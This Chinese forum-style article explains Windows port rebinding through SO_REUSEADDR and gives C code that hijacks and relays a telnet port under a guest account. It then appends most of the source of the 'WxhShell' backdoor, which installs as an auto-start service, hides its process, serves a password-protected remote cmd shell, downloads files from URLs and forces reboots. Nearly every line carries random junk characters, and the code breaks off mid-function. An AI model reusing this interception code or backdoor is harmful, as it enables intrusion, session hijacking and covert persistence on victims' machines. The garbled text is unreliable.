在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
%xI,A '# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
y>m=A41:g &AlX). saddr.sin_family = AF_INET;
yu62$d c_bIadE{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
]2B=@V t, J\kv}v bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,n?oNU {wp"zaa 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
h3Z0NJ=xM I_@XHhyVZ 这意味着什么?意味着可以进行如下的攻击:
'Sjcm@ILm (f|3(u'e? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:<Y, f(c p2~MJ
LK4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Rm!Iv&{ @RF!p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
x+7jJ=F gG.b=DvzY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
sjV>&eb !j?2HlIK+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
YTpO4bX R nf$
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
E7qk>~Dg ,0=:06l 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"+V.Yue`R f=Rx8I #include
n +z5;'my #include
vrD]o1F #include
$fA%_T_P'P #include
xTW$9>@\m DWORD WINAPI ClientThread(LPVOID lpParam);
Y_49UtJIg int main()
p M:lg {
X4U$#uI{ WORD wVersionRequested;
O=PyXOf DWORD ret;
PN n{Rt WSADATA wsaData;
(r?41?5K BOOL val;
LHb(T`.= SOCKADDR_IN saddr;
^H1B62_ SOCKADDR_IN scaddr;
8D U|j-I8 int err;
Zg/ra1n SOCKET s;
'J&$L c SOCKET sc;
P'6eK? int caddsize;
?_9A`LC*
HANDLE mt;
kN*,3)T;} DWORD tid;
4c*?9r@ wVersionRequested = MAKEWORD( 2, 2 );
wQX,a;Br err = WSAStartup( wVersionRequested, &wsaData );
-*u7MFq_ if ( err != 0 ) {
/=}w%-;/; printf("error!WSAStartup failed!\n");
b*xw=G3% return -1;
>>voL DDd }
/8i3 I5* saddr.sin_family = AF_INET;
7 Ld5 9a5x~Z:' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
tTB,eR$ x_vaYUl) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Z!P7mH\c} saddr.sin_port = htons(23);
ljTnxg/?
W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_Jc[`2Uv_c {
O$
7R<V printf("error!socket failed!\n");
[;/ydE= return -1;
9""e*-;Mi }
? -PRS.=% val = TRUE;
l* =\0 //SO_REUSEADDR选项就是可以实现端口重绑定的
i[_WO2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
C$~2FTx {
"RH pj3 si printf("error!setsockopt failed!\n");
QQUYWC return -1;
V(|@6ww }
^-9g_5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
<0r2m4z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
w NlC2is //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=G%k| tk@
T-; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
9H9 P'lx9 {
LwV4p6A ret=GetLastError();
tO$/|B74Bz printf("error!bind failed!\n");
j>(O1z7 return -1;
)
N*,cTE }
0yhC_mI listen(s,2);
N|OI~boV% while(1)
$
\j/s:Y {
_H9.AI caddsize = sizeof(scaddr);
\YE(E04w57 //接受连接请求
B 3Y,|* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
K]{Y >w if(sc!=INVALID_SOCKET)
yF-EHNNf {
WleE$ , mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Wm{Lg0Nr if(mt==NULL)
:nZVP_d+ {
x$o?ckyH printf("Thread Creat Failed!\n");
cRm+?/ break;
$[L~X
M }
ALVHKL2 }
kQ5mIJ9( CloseHandle(mt);
LD]a!eY }
3":vjDq$ closesocket(s);
U_t[J| WSACleanup();
.tv'` return 0;
/gWaxR*m }
50#iC@1 DWORD WINAPI ClientThread(LPVOID lpParam)
uHj"nd13 {
j\kT
H SOCKET ss = (SOCKET)lpParam;
04`2MNfxG SOCKET sc;
+yvtd]D$2W unsigned char buf[4096];
!7C[\No( SOCKADDR_IN saddr;
q#RUL!WF7U long num;
uURm6mVt9: DWORD val;
c]SXcA;Pmv DWORD ret;
J!40`8i //如果是隐藏端口应用的话,可以在此处加一些判断
9K]Li\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*E*=
;BG saddr.sin_family = AF_INET;
&\8qN_` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_Mi`]VSq9 saddr.sin_port = htons(23);
]}t6V]`Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J:<mq5[ {
.E H&GX printf("error!socket failed!\n");
3
q1LIM return -1;
6'YT3= }
#aX+?z\4 val = 100;
)k)HQcfjD if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r%`g` It {
h0m+u}oP_H ret = GetLastError();
z'=8U@P'# return -1;
{kCCpU }
a_jw4"Sb if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.dA_} {
~m:oJ+:O ret = GetLastError();
(}Q(Ux@X return -1;
_ebo }
0, b.;r if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
e"7<&%
Oq {
T_\Nvzb} printf("error!socket connect failed!\n");
;gS)o#v0 closesocket(sc);
99<]~,t=5 closesocket(ss);
Gw!VPFV>W return -1;
sIUhk7Cd8 }
w ]8+
OP while(1)
oT76)O {
<v&L90+s\; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
HQtR;[1 //如果是嗅探内容的话,可以再此处进行内容分析和记录
52X[{ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
dY=]ES}` num = recv(ss,buf,4096,0);
o#GZ|9IL if(num>0)
k }amSsE send(sc,buf,num,0);
f4%Z~3P else if(num==0)
JXFPN| break;
>A5*=@7bY? num = recv(sc,buf,4096,0);
/g/]Q^ if(num>0)
|/^ KFY" send(ss,buf,num,0);
S2y_5XJ<D else if(num==0)
tx` Z?K[ break;
w)C/EHF }
JRti2Mu closesocket(ss);
R[#Np`z closesocket(sc);
z):LF< return 0 ;
b/[$bZD5o }
v2w|?26Lf O0Z!*Hy ^/6LVB * ==========================================================
=Msr+P9Ai 6zbqv 6 下边附上一个代码,,WXhSHELL
<M){rce 6zyxGJ( ==========================================================
]A?(OA o,r72>| #include "stdafx.h"
0tz7^:|D ^(+ X|t #include <stdio.h>
M `O=rH
} #include <string.h>
qLjLfJJ2 #include <windows.h>
t=l@(%O 0_ #include <winsock2.h>
^LI\W'K #include <winsvc.h>
o#Gf7.E8 #include <urlmon.h>
ttP|}|O $jkzm8{W #pragma comment (lib, "Ws2_32.lib")
.ZOG,h+8 #pragma comment (lib, "urlmon.lib")
.-Z=Aa> nYsB^Nr6 #define MAX_USER 100 // 最大客户端连接数
p>ba6BDJT #define BUF_SOCK 200 // sock buffer
B~ ?R 6 #define KEY_BUFF 255 // 输入 buffer
oV/:T\Qn= XY`{F.2h #define REBOOT 0 // 重启
XWq`MwC9 #define SHUTDOWN 1 // 关机
}HCt=W` EpW89X #define DEF_PORT 5000 // 监听端口
F ,;B wiFA3_\G #define REG_LEN 16 // 注册表键长度
"lVbla4b
#define SVC_LEN 80 // NT服务名长度
<lkt'iT=Sz A!$;pwn0 // 从dll定义API
"cZ ){w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
$x~U&a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
gB_gjn\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@
^q}.u` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
WJlJD*3 7_9^nDU // wxhshell配置信息
r@t
\a+
struct WSCFG {
2tw3 =) int ws_port; // 监听端口
9] L4`.HM char ws_passstr[REG_LEN]; // 口令
\? n<UsI int ws_autoins; // 安装标记, 1=yes 0=no
u5.zckV char ws_regname[REG_LEN]; // 注册表键名
Leu6kPk char ws_svcname[REG_LEN]; // 服务名
$RA+StF!] char ws_svcdisp[SVC_LEN]; // 服务显示名
SpO%nZ";g8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
01n7ua*XX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Gh5 3Pne int ws_downexe; // 下载执行标记, 1=yes 0=no
1Y:JGon char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?vBMx _0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
H2S/!Q;K [-0=ZKH? };
3^Q;On| {_G_YL[ // default Wxhshell configuration
5(>ux@[qI: struct WSCFG wscfg={DEF_PORT,
F05]6NVv "xuhuanlingzhe",
6Z@?W 1,
l3Qt_I)L "Wxhshell",
V. e30u5 "Wxhshell",
dDbH+kqO "WxhShell Service",
**CGkL "Wrsky Windows CmdShell Service",
03n+kh "Please Input Your Password: ",
\ nUJ)w 1,
>:bXw#w] "
http://www.wrsky.com/wxhshell.exe",
TV Zf@U "Wxhshell.exe"
?!.L#]23f };
% !>@m6JK s7(1|}jh // 消息定义模块
:sS4T&@1= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
E{'Y>gB6 char *msg_ws_prompt="\n\r? for help\n\r#>";
cK- jN9U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
`.g'bZ<v/ char *msg_ws_ext="\n\rExit.";
V
7oE\cxr char *msg_ws_end="\n\rQuit.";
]pWn%aGv*Y char *msg_ws_boot="\n\rReboot...";
vX?C9Fr 2 char *msg_ws_poff="\n\rShutdown...";
d"=)=hm! char *msg_ws_down="\n\rSave to ";
*`40B6dEr nGM;|6x"8| char *msg_ws_err="\n\rErr!";
lMmP]{.>$ char *msg_ws_ok="\n\rOK!";
7/HX!y{WP v]'\]U^ char ExeFile[MAX_PATH];
*&z!y/ int nUser = 0;
7*kTu0m HANDLE handles[MAX_USER];
7sU+:a int OsIsNt;
N(kSE^skOa ?X+PNw|pf SERVICE_STATUS serviceStatus;
C1uV7t*\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
{wl7&25 -bgj<4R$p // 函数声明
cpm *m"Nk int Install(void);
y5j ;Daq int Uninstall(void);
L@S1C=-/ int DownloadFile(char *sURL, SOCKET wsh);
R].xT-1 int Boot(int flag);
@dn&M9Z void HideProc(void);
><C9PS@ int GetOsVer(void);
;>%wf3e int Wxhshell(SOCKET wsl);
gSHN,8.
` void TalkWithClient(void *cs);
,:{+-v( int CmdShell(SOCKET sock);
',1[rWyc int StartFromService(void);
_4
YT2k int StartWxhshell(LPSTR lpCmdLine);
?^ R"a## /&E]qc*-p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Z kBWVZb VOID WINAPI NTServiceHandler( DWORD fdwControl );
50dx[v8 pQxv_4 // 数据结构和表定义
$T_>WUiK SERVICE_TABLE_ENTRY DispatchTable[] =
+Mb}70^ {
( m7qc {wscfg.ws_svcname, NTServiceMain},
:<H4hYt2 {NULL, NULL}
yb-4[C:i };
@zJiR{Je-U 4,&f#=Y // 自我安装
,=[r6k< int Install(void)
y:Ag mr,S {
Ih[k{p char svExeFile[MAX_PATH];
ltv~Kh HKEY key;
ctPT=i60 strcpy(svExeFile,ExeFile);
&"=O!t2 / <+F/R'=O // 如果是win9x系统,修改注册表设为自启动
%NcBq3 if(!OsIsNt) {
braI MIQ` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j>5X^Jd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dpT?*qLM RegCloseKey(key);
L lD=c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[sK'jQo-[1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RSx{Gbd4X RegCloseKey(key);
!/]z-z2> return 0;
+fHqGZ] }
4YXp,U }
Y=/;7T }
4m%Yck{R else {
Qnx?5R-}ZU xiVbVr#[ // 如果是NT以上系统,安装为系统服务
#+
{%>f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
1I%niQv5t if (schSCManager!=0)
L+lX$k {
%r@:7/ SC_HANDLE schService = CreateService
YXg^t$ (
!{ !(yP_ schSCManager,
PB#EU9 wscfg.ws_svcname,
U^Iq]L wscfg.ws_svcdisp,
Y2|c;1~5$ SERVICE_ALL_ACCESS,
CQA^"Ll SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
QrLXAK\5 SERVICE_AUTO_START,
pS8`OBenA SERVICE_ERROR_NORMAL,
bRJ]avR
svExeFile,
WHr:M/qD NULL,
v?o("I[ C NULL,
pIPjTQ?cq NULL,
Gb.}af#v NULL,
!N/?b^y NULL
0IQ|`C. );
]{AHKyA{: if (schService!=0)
~7H?tp.Dw {
X=VaBy4# CloseServiceHandle(schService);
4rypT-%^ ; CloseServiceHandle(schSCManager);
GXR7Ug}k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
jF{)2|5 strcat(svExeFile,wscfg.ws_svcname);
U8eU[|-8O/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&D` $YUl@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
fK{Z{)D RegCloseKey(key);
^AT#A<{1( return 0;
nIl<2H]F` }
.p'\@@o5 }
#B__-"cRv CloseServiceHandle(schSCManager);
7 .xejz }
7??j}ob> }
(`d _DQ ah!fQLMH return 1;
q X]ej2 }
_<jccQ Mvk#$:8e // 自我卸载
*jl_,0g] int Uninstall(void)
!^3j9<|@' {
Y|<1|wGG HKEY key;
ROj=XM:+ ~{D:vj4> if(!OsIsNt) {
?e23[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c#pVN](? RegDeleteValue(key,wscfg.ws_regname);
gWy2E;"a RegCloseKey(key);
[jF\"#A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{\kDu#18Ld RegDeleteValue(key,wscfg.ws_regname);
xKoNo^ FF RegCloseKey(key);
Ot3+<{ return 0;
Of{'A }
L/: u }
7P DD }
leEzfbb{'. else {
tUs{/Je 5G#K)s(QC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@TnAO8Q>XD if (schSCManager!=0)
0>0:ls {
`pXC= []B2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
I`}x 9t if (schService!=0)
~wd~57i@ {
R(HW0@R@w if(DeleteService(schService)!=0) {
nb|"dK| CloseServiceHandle(schService);
}u~r.= CloseServiceHandle(schSCManager);
1;9 %L@ return 0;
CYC6:g|) }
qzu%Pp6If CloseServiceHandle(schService);
++0xa%: }
l7GLN1#m CloseServiceHandle(schSCManager);
^i~'aq }
(9D,Ukw }
3yIC@>&y(8 ,6a }l;lv return 1;
{%z}CTf# }
hH@pA:`s +yu^Z*_ // 从指定url下载文件
|y7#D9m int DownloadFile(char *sURL, SOCKET wsh)
.e2K\o {
;?:X_C HRESULT hr;
?ik6kWI char seps[]= "/";
x20sB char *token;
>5-]Ur~ char *file;
f5QJj<@ char myURL[MAX_PATH];
#FV `*G
char myFILE[MAX_PATH];
%GDs/9 Gnmxp%&}P| strcpy(myURL,sURL);
Yim` 3>#t token=strtok(myURL,seps);
eVy\)dCsU while(token!=NULL)
]#oqum@Yf1 {
(#k2S-5 file=token;
^7%
KS token=strtok(NULL,seps);
B\Y!5$ }
gw9:1S
f<G:}I GetCurrentDirectory(MAX_PATH,myFILE);
)haHI)xR strcat(myFILE, "\\");
*G0r4Ui$ strcat(myFILE, file);
-* ;`~5 send(wsh,myFILE,strlen(myFILE),0);
#$9rH
2zd send(wsh,"...",3,0);
o*WI*Fb' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
a"0'cgB} if(hr==S_OK)
z"lRfOWI return 0;
jP|(y]! else
\muC_9ke return 1;
)|@UY(VZ^ nxh9'"th }
ur2`.dY>3" !ZlNPPrq} // 系统电源模块
&za~=+ int Boot(int flag)
ssC5YtF7X {
tmI2BBv HANDLE hToken;
ocT.2/~d TOKEN_PRIVILEGES tkp;
l~Sn`%PgA sGD b< if(OsIsNt) {
Qf]ACN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
SpUcrK;1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
M0zlB{eH tkp.PrivilegeCount = 1;
/0H39]y!~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ROHr%'owgL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,4%'~8'3 if(flag==REBOOT) {
nY<hfqof if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
MM%c return 0;
nfMQ3KP }
8"g.Z* else {
e
RjpR?!\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)v67wn*1A return 0;
i;$'haK< }
*u%4]q }
]n:)W.|`R else {
r:Xui- if(flag==REBOOT) {
L?n*b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<ctn_"p Z return 0;
}Ik{tUS$ }
>_$DKY>$` else {
JOIbxU{U_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&~7b-foCq return 0;
A@0%7xm }
^KJIT3J(# }
Gm.n@U p ryq95<lF return 1;
Y?z@)cL }
J$?*qZ(oO 8vcV-+x // win9x进程隐藏模块
{>cO&eiCt void HideProc(void)
ivbuS-f=r {
Whq@>pX8 jo4*,B1x HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_KkLH\1g$ if ( hKernel != NULL )
V4OhdcW{ {
~a5p_x P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[EJ[Gg0m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Kj_hCSvf3e FreeLibrary(hKernel);
_azg
0.) }
l*]*.?m/5 HX{O@ return;
x.+}-(`W#~ }
#is:6Z,OEU 8uX1('+T* // 获取操作系统版本
-zd*tujx int GetOsVer(void)
,"u-V<>6O {
gHC -Y 0_ OSVERSIONINFO winfo;
N}>XBZy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
mlY0G w_e GetVersionEx(&winfo);
8_K22]c5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Q+[e)YO) return 1;
XX,iT~+- else
0*"auGuX return 0;
\z<B=RT\ }
0f
1Lu)
2 g@.RfX= // 客户端句柄模块
#"a?3!wr int Wxhshell(SOCKET wsl)
H85HL-{ {
H\2+cAFN# SOCKET wsh;
% zs 1v] struct sockaddr_in client;
I#kK! m1Q DWORD myID;
*Ri?mEv
hF .foM>UOY while(nUser<MAX_USER)
'@ M {
>yn%.Uoh@ int nSize=sizeof(client);
9LGJ -gL wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0!rU,74I= if(wsh==INVALID_SOCKET) return 1;
H'$g!Pg XGEAcN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!p1OBS| if(handles[nUser]==0)
Gv}*Tw$ closesocket(wsh);
Pt?]JJxl- else
R R><so% nUser++;
J56+eC( }
B3'qmi< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@xW)&d\'
,ORZtj return 0;
&2{h]V6 }
-L6 rXQV@j c@:r\] // 关闭 socket
LF0gy3 void CloseIt(SOCKET wsh)
sD.bBz {
I -i)D closesocket(wsh);
})Rmu."\ nUser--;
x{C=r dp__ ExitThread(0);
?MuM _6 }
qu8i Jq REhXW_x // 客户端请求句柄
Ix%h/=I void TalkWithClient(void *cs)
LKG],1n- {
FK{YRt 3KfZI&g SOCKET wsh=(SOCKET)cs;
-,et. * char pwd[SVC_LEN];
(j+C&*u char cmd[KEY_BUFF];
7ju7QyR char chr[1];
Gu<3*@Ng int i,j;
C8y 3T/G [zK|OMxoV while (nUser < MAX_USER) {
hZ.Sj~>7` _Q/D%7[pa if(wscfg.ws_passstr) {
(^Xp\dyZL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pK4I?=A' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m~#S76!w //ZeroMemory(pwd,KEY_BUFF);
&~U8S^os i=0;
BG"~yyKA while(i<SVC_LEN) {
Tn/T:7C iqghcY) // 设置超时
%$I\\qq>{ fd_set FdRead;
dx[<@f2c struct timeval TimeOut;
(hd^ FD_ZERO(&FdRead);
q~r)B} FD_SET(wsh,&FdRead);
\CB{Ut+s TimeOut.tv_sec=8;
WKqNJN C TimeOut.tv_usec=0;
cg<10KT int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
o)cd!,h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r~u/M0h ` BXaA#} ;e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
QR'"Zw&q5/ pwd
=chr[0]; hyL3fkMJ,
if(chr[0]==0xd || chr[0]==0xa) {
n
w @cAv
pwd=0; e6k}-<W*q
break; |t|+pBB
} z['>`Kt
i++; 8^$}!9B~JZ
} ];^A8?
RM-|?%
// 如果是非法用户,关闭 socket `Ten2(D
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wk'KN o
} k _hiGg
18Pc4~>0
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =XJ
SE+ 7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >f19P+
4*lShkL
while(1) { ,|"tLN*m
T^aEx.`O}`
ZeroMemory(cmd,KEY_BUFF); +XJj:%yt
u=jF\W9
// 自动支持客户端 telnet标准 9<WMM)
j=0; f/?#
1
while(j<KEY_BUFF) { 4
Yc9Ij
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vd SV6p.d
cmd[j]=chr[0]; .jZmQtc
if(chr[0]==0xa || chr[0]==0xd) { >;nE.]
cmd[j]=0; De4UGX
break; IQoz8!guh:
} mmAikT#k
j++; j.sxyW?3
} $/5Jc[Ow
yVUA7IY
// 下载文件 `z-4OJ8~
if(strstr(cmd,"http://")) { ]/HSlT=
send(wsh,msg_ws_down,strlen(msg_ws_down),0); g[44YrRD
if(DownloadFile(cmd,wsh)) #SQT!4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4s^5t6
else -wC;pA#o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z6B/H2
} '[~NRKQJ
else { ={W;8BUV%^
"dXRUg"
switch(cmd[0]) { 4!d&Zc>C4
Q{UR3U'Q
// 帮助 Zb8Ty~.\P
case '?': { F5wCl2I
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 234OJ?
break; j@v*q\X&
} IaH8#3+a
// 安装 C&,&~^_F
case 'i': { #!OCEiT_
if(Install()) KFdV_e5lU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]=2Ba<)m
else Av^{$9yl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f`.8.1Rd
break; O>wGc8Of\
} `ndesP
// 卸载 xSs);XO,
case 'r': { "L|Ew#
if(Uninstall()) ^L+*}4Dr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b>hNkVI
else =;7gxV3;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +b.<bb6
break; (LA%q6
} JaXT
B"e
// 显示 wxhshell 所在路径 75r>~@)*
case 'p': { VljAAt
char svExeFile[MAX_PATH]; LpGplDlB
strcpy(svExeFile,"\n\r"); &&xBq?
strcat(svExeFile,ExeFile); '~VKH}b
send(wsh,svExeFile,strlen(svExeFile),0); %UI.E=`n
break; ]IoJ(4f
} '+?AaR&p?
// 重启 ?!U=S=8
case 'b': { }BKEz[G(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2S&e!d-
if(Boot(REBOOT)) l{>fma]7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uy5IvG;O+
else { =zDU!< U
closesocket(wsh); @ JZ I
ExitThread(0); z~L''X7g
} Al09R,I;
break; C$vKRg\o
} A`TVV
// 关机 {2vk<
case 'd': { lTvI;zy
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,3.E]_3xX
if(Boot(SHUTDOWN)) L)a8W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OKNA36cU'
else { YFv/t=`
closesocket(wsh); nW3-)Q89
ExitThread(0); yMq&9R9F
} UQ:H3
break; .mn`/4
} NKvBNf|D
// 获取shell dFS>uIT7X
case 's': { +(x^5~QX
CmdShell(wsh); &M,a+|yuY
closesocket(wsh); cTCo~Pk4
ExitThread(0); MIo<sJuv
break; k*(c8/<.d
} upg?
// 退出 U":hJ*F)
case 'x': { l~;H~h!h/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t
9&xk?%{
CloseIt(wsh); uMh[Ht^.
break; V%8?f,
} VLC<ju!
// 离开 B]L5K~d
case 'q': { U&yXs'3a&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .+MJ' bW
closesocket(wsh); <+o-{{E[
WSACleanup(); jl;_lcO
exit(1); `uM:>
break; &PaqqU.
} dF:@BEo
} QO0}-wZR
} GwQW
I]
k__i Jsk
// 提示信息 XAwo~E
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oGM Ls
} GR@!mf
} +~?ze,Di
N+ZDQa[
return; )uC],CbW{
} #qrZ(,I@n
6!dbJ5x1
// shell模块句柄 k!3X4;F!_
int CmdShell(SOCKET sock) SNV~;@(h
{ )Fx"S.Ok
STARTUPINFO si; 9] fhH
ZeroMemory(&si,sizeof(si)); M(|Qvh{Q6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v".q578
0B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fft FNHP
PROCESS_INFORMATION ProcessInfo; JQ=i{ 9iJ
char cmdline[]="cmd"; _x&;Fa%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gD10C,{
return 0; <f.* =/]W2
} gF-<%<RV
Zu`;
S#Y
// 自身启动模式 h6<abT@I
int StartFromService(void) ~T@t7Cg
{ 5b45u 6
typedef struct x|U~?
{ F-[zuYGp
DWORD ExitStatus; 7[h_"@_A7
